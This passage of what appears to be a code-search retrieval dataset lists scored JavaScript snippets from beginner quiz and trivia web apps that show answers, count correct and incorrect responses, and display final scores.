displayIncorrectAnswer(){\n //hide the view answer button\n hide('.view_answer_button');\n //add text that they answered incorrectly\n $('.show_correct_response').append(`<p>No. I'm afraid it wasn't ${answer}</p>`);\n //display div to show response\n show('.show_correct_response');\n}", "title": "" }, { "docid": "b553427e0bf53e10f86cab1fbcc2d80a", "score": "0.6600634", "text": "function generateInCorrectView() {\n const correctAnswer = STORE.questions[STORE.questionNumber].answers[STORE.questions[STORE.questionNumber].correctAnswer];\n\n return `\n <p>Incorrect!</p>\n <p>You got ${STORE.score} of ${STORE.questions.length}</p>\n <img class=\"incorrect-answer-image\" src=\"./images/jessie-kicking-magikarp.jpg\" alt=\"jessie-angry\">\n <p>The correct answer is: ${correctAnswer}</p>\n <button class=\"next-question js-next-question\" type=\"submit\">Next Question</button>\n `;\n}", "title": "" }, { "docid": "0188bbc205d6fbac2ce1bccd82ff095e", "score": "0.6594036", "text": "function generateIncorrectSummary(incorrectQuestions) {\r\n var output = \"<p>The following questions were incorrect:</p><ul>\";\r\n // list the numbers of the incorrect questions\r\n for (var y = 0; y < incorrectQuestions.length; y++) {\r\n output += \"<li class='question incorrect'>\" + incorrectQuestions[y].question.number + \"</li>\";\r\n\r\n }\r\n output += \"</ul>\";\r\n output += \"</div>\";\r\n\r\n return output;\r\n\r\n}", "title": "" }, { "docid": "29db9b24895e4d50b71a4d19b58dc286", "score": "0.6584299", "text": "displayTotalQuestions() {\n this.stats[\"total-questions\"].innerText = this.getTotalQuestions()\n }", "title": "" }, { "docid": "aafb203c292d194358945670ea83ecd0", "score": "0.65524715", "text": "function displayScore() {\n var score = $('<p>',{id: 'question'});\n \n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions1[i].correctAnswer) {\n numCorrect++;\n }\n }\n \n score.append('<br><br><br><br><p align=\"center\">You got ' + numCorrect + ' questions out of ' +\n questions1.length + ' right!!!'+\"<br><br><br><br><br>\");\n return score;\n }", "title": "" }, { "docid": "314e9ab37d0bede4e4961216782b82ba", "score": "0.65362227", "text": "function loadRemainingQuestions(){\n \n var remainingQuestion = quizQuestions.length - (currentQuestion + 1);\n var totalQuestion = quizQuestions.length;\n\n return `Remaining Question: ${remainingQuestion}/${totalQuestion}`;\n}", "title": "" }, { "docid": "38d1e92bd04b99379f1a4a808fe3d64a", "score": "0.65344155", "text": "function displayNextQuestion() {\n\n if (totalCorrect + totalIncorrect === 1) {\n document.getElementById(\"question1\").style.display = \"none\";\n document.getElementById(\"question2\").style.display = \"block\";\n } else if (totalCorrect + totalIncorrect === 4) {\n document.getElementById(\"question2\").style.display = \"none\";\n document.getElementById(\"question3\").style.display = \"block\";\n } else if (totalCorrect + totalIncorrect === 5) {\n document.getElementById(\"question3\").style.display = \"none\";\n document.getElementById(\"question4\").style.display = \"block\";\n } else if (totalCorrect + totalIncorrect === 9) {\n document.getElementById(\"question4\").style.display = \"none\";\n document.getElementById(\"question5\").style.display = \"block\";\n } else if (totalCorrect + totalIncorrect === 12) {\n document.getElementById(\"question5\").style.display = \"none\";\n document.getElementById(\"question6\").style.display = \"block\";\n } else if (totalCorrect + totalIncorrect === 16) {\n document.getElementById(\"question6\").style.display = \"none\";\n document.getElementById(\"question7\").style.display = \"block\";\n } else if (totalCorrect + totalIncorrect === 17) {\n document.getElementById(\"question7\").style.display = \"none\";\n document.getElementById(\"question8\").style.display = \"block\"\n } else if (totalCorrect + totalIncorrect === 18) {\n document.getElementById(\"question8\").style.display = \"none\";\n document.getElementById(\"question9\").style.display = \"block\"\n } else if (totalCorrect + totalIncorrect === 19) {\n document.getElementById(\"question9\").style.display = \"none\";\n document.getElementById(\"question10\").style.display = \"block\"\n } else if (totalCorrect + totalIncorrect === 20) {\n document.getElementById(\"question10\").style.display = \"none\";\n document.getElementById(\"finishScreen\").style.display = \"block\"\n //submitResults();\n \n }\n else{\n console.log(\"Not time for next Question\");\n }\n\n }", "title": "" }, { "docid": "2c7f34a57fb4a28c79d88d37572d5aa3", "score": "0.64864737", "text": "function showResult() {\n const totalCount = counterRight + counterWrong;\n\n result.textContent = (totalCount === questionNumber) \n ? `Wynik: ${counterRight} z ${questionNumber}.`\n : `Proszę odpowiedzieć na wszystkie pytania.`;\n }", "title": "" }, { "docid": "073a95b39b07bba96b2e867bdfc52cde", "score": "0.6481364", "text": "function displayQuestions()\r\n{\r\n // Do question html (use randomOrderGenerator for MCQ options)\r\n let output = \"\";\r\n let textResponseCount = -1;\r\n\r\n output += `<h2>${assignment.name}</h2>`;\r\n let questionArr = assignment.questions;\r\n\r\n for (let i = 1; i < questionArr.length + 1; i++)\r\n {\r\n let q = questionArr[i - 1];\r\n let response = attempt.responses[i - 1]\r\n output += `<section id=\"section-q${i}\">`;\r\n \r\n if (q.type == \"Multiple Choice\")\r\n {\r\n let mark = 0;\r\n if (response == q.options[0])\r\n {\r\n mark = q.marks;\r\n }\r\n output += `<h4><b>Question ${i}</b> (${mark}/${q.marks} marks)</h4>\r\n <p>${q.text}</p>`;\r\n\r\n // Find valid number of options non-\"\"\r\n let count = 0;\r\n for (let t = 0; t < q.options.length; t++)\r\n {\r\n if (q.options[t] != \"\")\r\n {\r\n count += 1;\r\n }\r\n }\r\n\r\n let order = randomOrderGenerator(count);\r\n for (let j = 0; j < order.length; j++)\r\n {\r\n let idx = order[j]\r\n let option = q.options[idx]\r\n let checked = \"\";\r\n if (option == response)\r\n {\r\n checked = \"checked\";\r\n }\r\n output += `<input type=\"radio\" id=\"option-${i}-${idx}\" name=\"q${i}\" value=\"${option}\" ${checked} disabled>\r\n <label for=\"option-${i}-${idx}\" disabled>${option}</label><br>`\r\n }\r\n }\r\n else if (q.type == \"Text Response\")\r\n {\r\n textResponseCount += 1;\r\n output += `<h4><b>Question ${i}</b> (${attempt.textResponseFeedback[textResponseCount][0]}/${q.marks} marks)</h4>\r\n <p>${q.text}</p>\r\n <textarea id=\"q${i}\" name=\"q${i}\" rows=\"6\" cols=\"100\" disabled>${response}</textarea>\r\n <br>`;\r\n }\r\n \r\n output += `</section><br>`;\r\n\r\n // Feedback\r\n if (q.type == \"Multiple Choice\")\r\n {\r\n if (response == q.options[0])\r\n {\r\n output += `<div>\r\n <p>Correct!</p>\r\n <p>${q.posFeedback}</p>\r\n </div>`;\r\n }\r\n else\r\n {\r\n output += `<div>\r\n <p>Incorrect.</p>\r\n <p>${q.negFeedback}</p>\r\n <p>The answer was <b>${q.options[0]}</b>.</p>\r\n </div>`;\r\n }\r\n }\r\n else if (q.type == \"Text Response\")\r\n {\r\n if (Number(attempt.textResponseFeedback[textResponseCount][0]) > 0)\r\n {\r\n output += `<div>\r\n <p>Correct.</p>\r\n <p>${attempt.textResponseFeedback[textResponseCount][1]}</p>\r\n </div>`;\r\n }\r\n else\r\n {\r\n output += `<div>\r\n <p>Incorrect.</p>\r\n <p>${attempt.textResponseFeedback[textResponseCount][1]}</p>\r\n </div>`;\r\n }\r\n }\r\n }\r\n document.getElementById(\"questionContent\").innerHTML = output;\r\n}", "title": "" }, { "docid": "2293bed7772125698af3cae283d31c4c", "score": "0.6479559", "text": "function displayScore() {\n var score = $('<p>',{id: 'question'});\n \n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n saveScore(numCorrect,selections,questions.length);\n return score;\n }", "title": "" }, { "docid": "1f1548fe6b030c42effa244d651df37e", "score": "0.64671826", "text": "function wrongResponse() {\r\n if (questionNum === (lastQuestion - 1)) {\r\n quizArea.html(\r\n `<div class = \"wrong\">Woops! The right Answer is: \r\n <p>${quizQuestions[questionNum].correctAns}!</p>\r\n Let's see how we do on the last one:\r\n <p><button type=\"button\" class = \"next-button\">Next!</button></p>\r\n </div>`);\r\n }\r\n else if (questionNum === lastQuestion) {\r\n quizArea.html(\r\n `<div class = \"wrong\">Woops! The right Answer is: \r\n <p>${quizQuestions[questionNum].correctAns}!</p>\r\n <p><button type=\"button\" class = \"next-button\">Your Results!</button></p>\r\n </div>`);\r\n }\r\n else {\r\n quizArea.html(\r\n `<div class = \"wrong\">Woops! The right Answer is: \r\n <p>${quizQuestions[questionNum].correctAns}!</p>\r\n Let's see how we do on the next one:\r\n <p><button type=\"button\" class = \"next-button\">Next!</button></p>\r\n </div>`\r\n );\r\n}\r\n}", "title": "" }, { "docid": "3583db009dca4b574fc85ebe2c7a74c7", "score": "0.64459354", "text": "function displayResults() {\r\n $('#correct').html(numCorrAnsw);\r\n $('#incorrect').html(numIncorrAnsw);\r\n $('#unanswered').html(correctAnswers.length - numCorrAnsw - numIncorrAnsw);\r\n}", "title": "" }, { "docid": "4d86b407ca81344e203875f103a6f491", "score": "0.64445394", "text": "function updateWrong(){\n\n\t\t$(\"#title\").hide();\n\t\t$(\".question\").hide();\n\t\t$(\".timer\").hide();\n\t\t$(\".wrongScreen\").show();\n\t\t$(\".correctAnswer\").text(Questions.answer[Questions.count]);\n\n\t\tsetTimeout(function(){displayQuestionScreen()}, 2000);\n\n\t\tQuestions.wrong += 1;\n\n\t}", "title": "" }, { "docid": "264fe0e13622bd549de0d7ad4d132bd3", "score": "0.6440734", "text": "function submitAnswers() {\n boolChecked = false;;\n var qArray;\n var wrongTally = 0;\n for (a = 0; a < 4; a++) {\n qArray = document.getElementsByName(\"q\" + a)\n boolChecked = false;\n for (b = 0; b < 4; b++) {\n if (qArray[b].checked) {\n if (qArray[b].value != mathItems[a]) {\n wrongTally++;\n }\n boolChecked = true;\n }\n }\n if (boolChecked == false) {\n alert(\"All questions must be clicked before submitting.\");\n boolChecked = false;\n a = 4;\n }\n }\n if (boolChecked == true) {\n document.getElementById(\"quizResults\").innerHTML = \"<font size=5><b>You got \" + (4 - wrongTally) + \" out of 4 correct.</b></font>\";\n }\n}", "title": "" }, { "docid": "3498b0080877ff3c8cbfca9165bd1037", "score": "0.6431382", "text": "function wrong() {\n $(\"#question-message\").html(\"Nope...Correct answer is\");\n showAnswer();\n scoreIncorrect++;\n i++;\n}", "title": "" }, { "docid": "8bd76b8663bb126b82c294b9c9435d10", "score": "0.6421018", "text": "function checkAnswer() {\n // check the inputs values against the store\n const userSelectedAnswer = $(\"form input[type='radio']:checked\").val();\n // turned user input value into an integer.\n const userAnswerInt = parseInt(userSelectedAnswer);\n // if correct call correct view \n // otherwise call incorrect view\n if (userAnswerInt === STORE.questions[STORE.questionNumber].correctAnswer) {\n STORE.score++;\n const correct = generateCorrectView();\n $(\".container\").html(correct);\n } else {\n const incorrect = generateInCorrectView();\n $(\".container\").html(incorrect);\n }\n \n STORE.questionNumber++;\n}", "title": "" }, { "docid": "eba67dade1dbc836b3e118b6e4f43e83", "score": "0.63931847", "text": "function results() {\n $(\".quizElement\").css(\"display\", \"none\");\n $(\".resultScreen\").css(\"display\", \"inline-block\");\n $(\".quizQuestion\").each(function() {\n var questionCorrect = false;\n var questionUnanswered = true;\n $(this)\n .children(\"input[type=radio]\")\n .each(function() {\n if (this.checked) {\n if (this.value === \"right\") {\n questionCorrect = true;\n }\n questionUnanswered = false;\n }\n });\n if (questionUnanswered) {\n unanswered++;\n } else if (questionCorrect) {\n correct++;\n } else {\n incorrect++;\n }\n });\n $(\"#correct\").text(\"Correct: \" + correct);\n $(\"#incorrect\").text(\"Incorrect: \" + incorrect);\n $(\"#unanswered\").text(\"Unanswered: \" + unanswered);\n clearInterval(timer);\n}", "title": "" }, { "docid": "2ffa8ab4d4b77cbd01df7d0a69a0526a", "score": "0.63922477", "text": "function renderQuestion() {\n\n\t// $(\"#qna\").add().addClass(\"widget\").appendTo(document.body);\n\t\n\t// for (triviaIndex = 0; triviaIndex < triviaArray.length; triviaIndex++) {\n\n\t// for (triviaIndex = 0; triviaIndex < trivia.length; triviaIndex++) {\n\n\t\t// Think what I built above might be better than this....\n \tif (triviaIndex <= (triviaArray.length - 1)) {\n // Display question and answers\n \tconsole.log(triviaArray[triviaIndex][0]);\n \t// console.log(\"Next question\");\n \t\t\n \t\t} else {\n // If no more questions, render game end screen with scores\n \tconsole.log(\"Game over\");\n \t// Show score totals\n \t}\n\n\t}", "title": "" }, { "docid": "255c75dc38afcc49d0121b9f2e6a3e47", "score": "0.63906187", "text": "function correctAnswer() {\n // function is called when question timer has tripped...therefore bump up total incorrect answers\n totalCorrect++;\n\n // clear all answers\n // make sure previous answers are removed\n $(\"#userChoices\").text(\"\");\n\n // message the player correct and incorrect counts, as well as current question status\n $(\"#userMessage\").text(\"The answer is CORRECT. You have answered \" + totalCorrect + \" questions correctly, and \" + totalIncorrect + \" incorrectly!\");\n\n // start the question transition timer\n startQuestionTransition();\n }", "title": "" }, { "docid": "934131db524488227730d73e4d1f6c20", "score": "0.63837284", "text": "showIncorrect(userAns, answer, comment) {\n if (userAns) {\n $(\".content\").html('<h2 class=\"answer\"> Sorry. Your answer \"' + userAns + '\" is not correct.</h2>');\n }\n else {\n $(\".content\").html('<h2 class=\"answer\" />');\n }\n $(\".content\").append('<br> <h2 class=\"answer\">The correct answer is <strong>' + answer + \"</strong>. </h2>\")\n .append('<h2 class=\"answer\">' + comment + '</h2>');\n }", "title": "" }, { "docid": "1673aefb8b9c5d153cbaa383de93a99e", "score": "0.63814956", "text": "function answeredCorrectly() {\n score ++;\n $('#js-score').text(score);\n $('.js-quiz-section').html(`\n <div class=\"feedback\">\n <img src=\"./photos-icons/firework-celebration.svg\" alt=\"fireworks-celebration-icon\">\n <h2>Correct!</h2>\n <p>${STORE[questionNumber].correctAnswerMsg}</p>\n <button type=\"button\" class=\"next-button js-next-button\">Next</button>\n </div>`\n );\n }", "title": "" }, { "docid": "69cc53efd46dc41b224c5aa9bfa6e51d", "score": "0.6377774", "text": "function rightWrongDecide(){\n\n if(this.innerHTML === answer[count]){\n $(\"#questionSpace\").html(\"Correct\");\n correct++;\n displayAnswer();\n }else{\n $(\"#questionSpace\").html(\"Incorrect\");\n wrong++;\n displayAnswer();\n };\n\n }", "title": "" }, { "docid": "30135ff0b0e68b62f84bea58ed65aca3", "score": "0.6365128", "text": "function tallyScore(){\n\tfor (var t = 0; t < userAnswers.length; t++) {\n\t\tfor (var w = 0; w <questions.correctAnswer.length; w++) {\n\t\t\tif(userAnswers[t] === questions.correctAnswer[w]){\n\t\t\t\tcorrectAnswers++;\n\t\t\t}\n\t\t\telse if(userAnswers[t] === null){\n\t\t\t\tunanswered++;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tincorrectAnswers++;\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8117dc43cf219ed116c4dc970beba942", "score": "0.6361632", "text": "function displayQuizResult(){\n let indexCounter = countCorrectAnswersAttemptedQuestions(methods, 'status');\n if (indexCounter === 10){\n toggleHiddenClass('.quizSection, .resultSection');\n let questionsTried = countCorrectAnswersAttemptedQuestions(methods, 'status');\n let correctScore = countCorrectAnswersAttemptedQuestions(methods, 'correct');\n $('.resultSection').append(`<label class=\"lblResult\">You answered ${correctScore} \n out of ${questionsTried} questions correctly!</label><br>`);\n $('.resultSection').append(`<button class =\"retakeButton\">Retake</>`);\n $('.resultSection .retakeButton').focus();\n }\n}", "title": "" }, { "docid": "638c4bdfbb9ebf93323ba0ccd15446e3", "score": "0.63594514", "text": "function onSubmit(e) {\n e.preventDefault();\n\n var rightAnswersCount = 0;\n\n if (Object.keys(selectedAnswers).length === results.length) {\n rightAnswersCount = Object.values(selectedAnswers).filter(\n answer => answer.isCorrect\n ).length;\n var quiz = $(\"#quiz-container\");\n quiz.html(\n \"<li>\" +\n username +\n \", you have answered \" +\n rightAnswersCount +\n \" questions correctly.</li>\"\n );\n } else {\n alert(\"Please answer all questions\");\n }\n }", "title": "" }, { "docid": "2165d6eb66aa0d3370cc05958bd075c8", "score": "0.63573605", "text": "function endGame() {\n // var questions = $(\"#questions\");\n\n for (let i = 1; i < 3; i++) {\n var radios = document.getElementsByName(\"choices\" + i);\n // console.log(radios);\n\n //for loop to go through each array \n //checking the \"user input\" with the correct value\n // radio.checked it acts like a boolen statement\n //updating the correct answer and displaying it after\n for (let j = 0; j < radios.length; j++) {\n var radio = radios[j];\n if (radio.value === \"correct\" && radio.checked) {\n correctAnswers++;\n }\n \n \n }\n }\n\n\n\n \n $(\"#questions\").empty();\n $(\"#questions\").append(\"Correct Answers :\"+ correctAnswers);\n $(\"#questions\").append(\"<br>\");\n //incorrect answers = total questions -correct answers.\n $(\"#questions\").append(\"InCorrect Answers :\"+ (2- correctAnswers));\n \n}", "title": "" }, { "docid": "3f2c9547b8675f08ab6172c3acdbeb5e", "score": "0.6349611", "text": "function incorrectAnswerPage() {\n return `\n <section class=\"incorrectPage\" role=\"region\">\n <h5>WRONG, the correct answer:<span class=\"wrongAnswer\">${STORE[questionNumber].answer}</span></h5>\n </section>\n <button type=\"button\" class=\"js-next-button\">Next</button>\n `;\n}", "title": "" }, { "docid": "87b755c7d6d492d2683dfe4706695167", "score": "0.63251233", "text": "function testResults() {\n\t// store variables to update correct and incorrect totals\n\tvar correct = 0;\n\tvar incorrect = 0;\n\n\t// loop through questions array\n\tfor(var i = 0; i < questions.length; i++) {\n\t\t// store each correct answer\n\t\tvar answer = questions[i].answer;\n\t\t// store each user answer\n\t\tvar guess = document.getElementById('answer' + [i]).value;\n\t\t// store element to add a class if correct or incorrect\n\t\tvar questionSpot = document.getElementById('question' + [i]);\n\n\t\t// check if the user answer matches the correct answer\n\t\tif(answer == guess) {\n\t\t\t// update class on questionSpot\n\t\t\tquestionSpot.className = 'correct';\n\t\t\t// add one to correct\n\t\t\tcorrect++;\n\t\t} else {\n\t\t\t// update class on questionSpot\n\t\t\tquestionSpot.className = 'incorrect';\n\t\t\t// add one to incorrect\n\t\t\tincorrect++;\n\t\t};\n\t};\n\n\t// update correct and incorrect values\n\tdocument.getElementById('correct').textContent = correct;\n\tdocument.getElementById('incorrect').textContent = incorrect;\n}", "title": "" }, { "docid": "87b755c7d6d492d2683dfe4706695167", "score": "0.63251233", "text": "function testResults() {\n\t// store variables to update correct and incorrect totals\n\tvar correct = 0;\n\tvar incorrect = 0;\n\n\t// loop through questions array\n\tfor(var i = 0; i < questions.length; i++) {\n\t\t// store each correct answer\n\t\tvar answer = questions[i].answer;\n\t\t// store each user answer\n\t\tvar guess = document.getElementById('answer' + [i]).value;\n\t\t// store element to add a class if correct or incorrect\n\t\tvar questionSpot = document.getElementById('question' + [i]);\n\n\t\t// check if the user answer matches the correct answer\n\t\tif(answer == guess) {\n\t\t\t// update class on questionSpot\n\t\t\tquestionSpot.className = 'correct';\n\t\t\t// add one to correct\n\t\t\tcorrect++;\n\t\t} else {\n\t\t\t// update class on questionSpot\n\t\t\tquestionSpot.className = 'incorrect';\n\t\t\t// add one to incorrect\n\t\t\tincorrect++;\n\t\t};\n\t};\n\n\t// update correct and incorrect values\n\tdocument.getElementById('correct').textContent = correct;\n\tdocument.getElementById('incorrect').textContent = incorrect;\n}", "title": "" }, { "docid": "fe5f2cf685040e484d9416a5fee64250", "score": "0.6322899", "text": "function howWell(){\n var right, wrong, percentageRight, percentageWrong, num;\n \n right = 0;\n wrong = 0;\n \n // 1. update right and wrong totals for each answer\n speechQuiz.answers.forEach(function(cur){\n \n if (cur.isCorrect) {\n right++;\n } else if (!cur.isCorrect){\n wrong++;\n } else {\n console.log('answers for each did not work here ' + cur);\n }\n });\n \n // 2. Establish the total number of answers\n num = speechQuiz.answers.length;\n \n // 3. Calculate percent right and wrong\n percentageRight = Math.round((right / num) * 100);\n percentageWrong = Math.round((wrong / num) * 100);\n\n // 4. Add results to result obj\n testResults.speech.totalRight = right;\n testResults.speech.totalWrong = wrong;\n testResults.speech.percentRight = percentageRight;\n testResults.speech.percentWrong = percentageWrong;\n \n // 5. Console log results\n console.log('Total right: ' + right);\n console.log('Total wrong: ' + wrong);\n console.log('Percent right: ' + percentageRight);\n console.log('Percent wrong: ' + percentageWrong);\n \n}", "title": "" }, { "docid": "be6a3811b1c0aa7f84b68ed710babae6", "score": "0.63207036", "text": "function showResults(questions, quizContainer, resultsContainer) {\n\n // Select all submitted answers\n var answerContainers = quizContainer.querySelectorAll(\".answers\");\n\n var userAnswer = \"\";\n var numCorrect = 0;\n\n // For loop for each question \n for (var i = 0; i < questions.length; i++) {\n\n userAnswer = (answerContainers[i].querySelector(\"input[name=question\" + i + \"]:checked\") || {}).value;\n\n if (userAnswer === questions[i].correctAnswer) {\n // Increase correct answers \n numCorrect++;\n\n // Color right answers green \n answerContainers[i].style.color = \"lightgreen\";\n }\n\n // Wrong answer, or blank answer\n else {\n // Color wrong answers red \n answerContainers[i].style.color = \"red\";\n }\n }\n // Display correct answers out of total\n resultsContainer.innerHTML = \"Your score was \" + numCorrect + \" out of \" + questions.length + \"!\"\n }", "title": "" }, { "docid": "3f967dc5746dcf7b0872cd742f03a733", "score": "0.63188636", "text": "function checkAnswer() {\n\tquestionReset();\n\t//correct answer chosen\n\tvar correctAnswer = questions[questionCounter].correctAnswer;\n\tif (answersChosen[0] == questions[questionCounter].correctAnswer) {\n\t\t$(\"#content\").append('<h3>'+\"That's correct! Well done!\" + '</h3>');\n\t\tcorrect++;\n\t\tdisplayTimer();\n\t}\n\t//no answer chosen/ran outta time\n\telse if (answersChosen[0] === undefined) {\n\t\t$(\"#content\").append('<h3>'+\"Time's up!\" + '</h3><br><br><h3>' + \"The correct answer was: \" + questions[questionCounter].choices[correctAnswer] + '</h3>');\n\t\tmissed++;\n\t\tdisplayTimer();\n\t}\n\t//wrong answer chosen\n\telse {\n\t\t$(\"#content\").append('<h3>'+\"You chose the wrong answer.\" + '</h3><br><br><h3>' + \"The correct answer was: \" + questions[questionCounter].choices[correctAnswer] + '</h3>');\n\t\tincorrect++;\n\t\tdisplayTimer();\n\t};\n}", "title": "" }, { "docid": "65c831950b39170f14b78b4e77bc0a39", "score": "0.63153857", "text": "function countAnswers() {\n for (var i = 0; i < gameQuestions.length; i++) {\n if (\n $(\"input:radio[name='choice\" + i + \"']:checked\").value() ===\n gameQuestions[i].correctAnswer\n ) {\n correctAnswers++;\n } else if (\n $(\"input:radio[name='choice\" + i + \"']:checked\").value() !=\n gameQuestions[i].correctAnswer\n ) {\n incorrectAnswers++;\n } else {\n unansweredQuestions++;\n }\n }\n }", "title": "" }, { "docid": "16b59912c32b6f0d66d87b3d558c8213", "score": "0.63114965", "text": "function results () {\n\t\n\t$('#triviaQuestion').hide();\n\t$('.choices').hide();\n\t$('.results').show();\n\t$('#correct').html(\"Correctly Answered \" + correctAnswers);\n\t$('#wrong').html(\"Wrongly Answered \" + incorrectAnswers);\n\t$('#unanswered').html(\"Unanswered \" + unanswered);\n\n\n\t}", "title": "" }, { "docid": "3e175a2f502925e6fd16477dfd97436c", "score": "0.6310184", "text": "function quizResult() {\r\n resultBox.querySelector(\".total-question\").innerHTML = quiz.length;\r\n resultBox.querySelector(\".attempt-question\").innerHTML = attempt;\r\n resultBox.querySelector(\".total-correct\").innerHTML = correctAnswer\r\n resultBox.querySelector(\".total-wrong\").innerHTML = attempt - correctAnswer;\r\n\r\n var percentage = (correctAnswer / quiz.length) * 100;\r\n\r\n resultBox.querySelector(\".percentage\").innerHTML = percentage.toFixed(2) + \"%\";\r\n resultBox.querySelector(\".total-score\").innerHTML = correctAnswer + \" / \" + quiz.length;\r\n}", "title": "" }, { "docid": "0b5a4fd8f8375e8eda3f6d821be62993", "score": "0.6308667", "text": "function loadRemainingQuestion() {\n var remainingQuestion = quizQuestions.length - (currentQuestion + 1);\n var totalQuestion = quizQuestions.length;\n\n return `Remaining Questions: ${remainingQuestion}/${totalQuestion}`;\n }", "title": "" }, { "docid": "786c8dfcf905681aaa09e1473976c63c", "score": "0.6303135", "text": "function wrongAnswer() {\n //clears interval\n clearInterval(intervalId);\n //clearing questions and choices\n $(\"#question\").empty();\n $(\".buttonsDiv\").empty();\n $(\"#picDiv\").append(\"<h3 id='userWrong'> You are wrong! </h3>\");\n //increase wrong answers\n incorrect++;\n //show correct answer\n displayRightAnswer();\n //next question appears after 5 seconds\n setTimeout(nextQuestion, 1000 * 3);\n }", "title": "" }, { "docid": "af1921153f2ee80ecf164b7fb5b40dbb", "score": "0.6302399", "text": "function displayFinalScore(){\r\n // hide question and answer fields:\r\n $('#quiz').hide();\r\n\r\n if(Number(score) < Number(maxQuestions / 2)){\r\n displayFailureMessage();\r\n $('#quizTitle').html('<h3 class=\"text-center text-danger\">' + 'Fail! Hit the Books and Try Again!' + '</h3>');\r\n }\r\n else{\r\n displaySuccessMessage()\r\n $('#quizTitle').html('<h3 class=\"text-center text-success\">' + 'Pass! You are as smart as you thought :-)' + '</h3>');\r\n }\r\n }", "title": "" }, { "docid": "ff5fa4ddcb2aed7d24a04033a5006a38", "score": "0.62769264", "text": "function checkAnswers (){\n var resultHTML = \"\";\n var guessedAnswer = [];\n var correct = 0;\n var incorrect = 0;\n var unAnswered = 0\n\n for (var i = 0; i < playGame.questions.length; i++) {\n if (isCorrect(playGame.questions[i])){\n correct++;\n }else {\n \n if (checkAnswered(playGame.questions[i])){\n incorrect++;\n } else {\n unAnswered++;\n }\n }\n }\n // console.log(checkAnswers);\n end();\n $(\"#result\").html(\"Correct Answers: \" + correct + \"<br>\" + \"Incorrect Answers: \" + incorrect + \"<br>\" + \"Unanswered: \" + unAnswered);\n}", "title": "" }, { "docid": "335592dbaf3af8511c2303152f572851", "score": "0.62765366", "text": "function checkAnswer(question, answer){\n\tif (question == \"q1\" && answer == \"stretch\"){\n\t\tclearScreen();\n\t\tscore++;\n\t\tconsole.log(score);\n\t\t$('#correctq1').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q1\" && answer !== 'stretch') {\n\t\tconsole.log('Answer 1 - Wrong!')\n\t\tclearScreen();\n\t\t$('#incorrectq1').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q2\" && answer == \"montagne\"){\n\t\tclearScreen();\n\t\tscore++;\n\t\t$('#correctq2').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q2\" && answer !== \"montagne\"){\n\t\tclearScreen();\n\t\t$('#incorrectq2').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q3\" && answer == \"isadora\"){\n\t\tclearScreen();\n\t\tscore++;\n\t\t$('#correctq3').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q3\" && answer !== \"isadora\"){\n\t\tclearScreen();\n\t\t$('#incorrectq3').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q4\" && answer == \"chorus\"){\n\t\tclearScreen();\n\t\tscore++;\n\t\t$('#correctq4').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q4\" && answer !== \"chorus\"){\n\t\tclearScreen();\n\t\t$('#incorrectq4').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q5\" && answer == \"sex\"){\n\t\tclearScreen();\n\t\tscore++;\n\t\t$('#correctq5').css({'display':'inline-block'});\n\t}\n\telse if (question == \"q5\" && answer !== \"sex\"){\n\t\tclearScreen();\n\t\t$('#incorrectq5').css({'display':'inline-block'});\n\t}\n\tdocument.getElementById(\"correctAnswers\").innerText = score;\n\tassignPosition(score);\n}", "title": "" }, { "docid": "f12cf2db8a421269c73c0be43c3749b6", "score": "0.62687975", "text": "function calculateCorrectAnswersAndStartQuizAgain() {\n\n console.log(\"correctAnsCount ->\" + correctAnsCount);\n\n //Remove questions from the page\n $(\"#question\").empty();\n\n //Remove submit button from the page\n $(\"#submit\").empty();\n\n //Show Correct & Answers\n $(\"<h5>\")\n .addClass(\"m-5 d-flex justify-content-center\")\n .text(`Correct Answers: ${correctAnsCount}`)\n .appendTo($(\"#result\"));\n \n $(\"<h5>\")\n .addClass(\"mt-3 d-flex justify-content-center\")\n .text(`Incorrect Answers: ${(questionsObj.length - correctAnsCount)}`)\n .appendTo($(\"#result\"));\n\n\n //Create \"Start new quiz\" button\n $(\"<button>\")\n .attr(\"type\", \"button\")\n .addClass(\"btn btn-info mb-5\")\n .append(`<h3>Start Quiz Again</h3>`)\n .appendTo($(\"#strtNewQuiz\"));\n\n }", "title": "" }, { "docid": "240ee9c47f23787e5b1783f641969750", "score": "0.62625206", "text": "function quizResult(){\n resultBox.querySelector(\".total-question\").innerHTML = questionLimit;\n resultBox.querySelector(\".total-attempt\").innerHTML = attempt;\n resultBox.querySelector(\".total-correct\").innerHTML = correctAnswers;\n resultBox.querySelector(\".total-incorrect\").innerHTML = attempt - correctAnswers;\n const percentage = (correctAnswers/questionLimit) * 100;\n resultBox.querySelector(\".percentage\").innerHTML = percentage.toFixed(3) + \"%\"; //read more toFixed() para maging 00.00%\n resultBox.querySelector(\".total-score\").innerHTML = correctAnswers + \" / \" + questionLimit; \n \n}", "title": "" }, { "docid": "9fa8fdf1da3c4ef44b3dc1942b80908c", "score": "0.626197", "text": "function checkQ() {\n clearQ();\n var correctAnswer = questions[questionCounter].choicesAnswer;\n if (userAns[0] == questions[questionCounter].choicesAnswer) {\n $(\"#content\").append('<h3>'+\"Congratulations! You chose the right answer!\" + '</h3>');\n correct++;\n displayTimer();\n }\n else if (userAns[0] === undefined) {\n $(\"#content\").append('<h3>'+\"Time's up!\" + '</h3><br><br><h3>' + \"The correct answer was: \" + questions[questionCounter].choices[correctAnswer] + '</h3>');\n missed++;\n displayTimer();\n }\n else {\n $(\"#content\").append('<h3>'+\"You chose the wrong answer.\" + '</h3><br><br><h3>' + \"The correct answer was: \" + questions[questionCounter].choices[correctAnswer] + '</h3>');\n incorrect++;\n displayTimer();\n };\n }", "title": "" }, { "docid": "9fa8fdf1da3c4ef44b3dc1942b80908c", "score": "0.626197", "text": "function checkQ() {\n clearQ();\n var correctAnswer = questions[questionCounter].choicesAnswer;\n if (userAns[0] == questions[questionCounter].choicesAnswer) {\n $(\"#content\").append('<h3>'+\"Congratulations! You chose the right answer!\" + 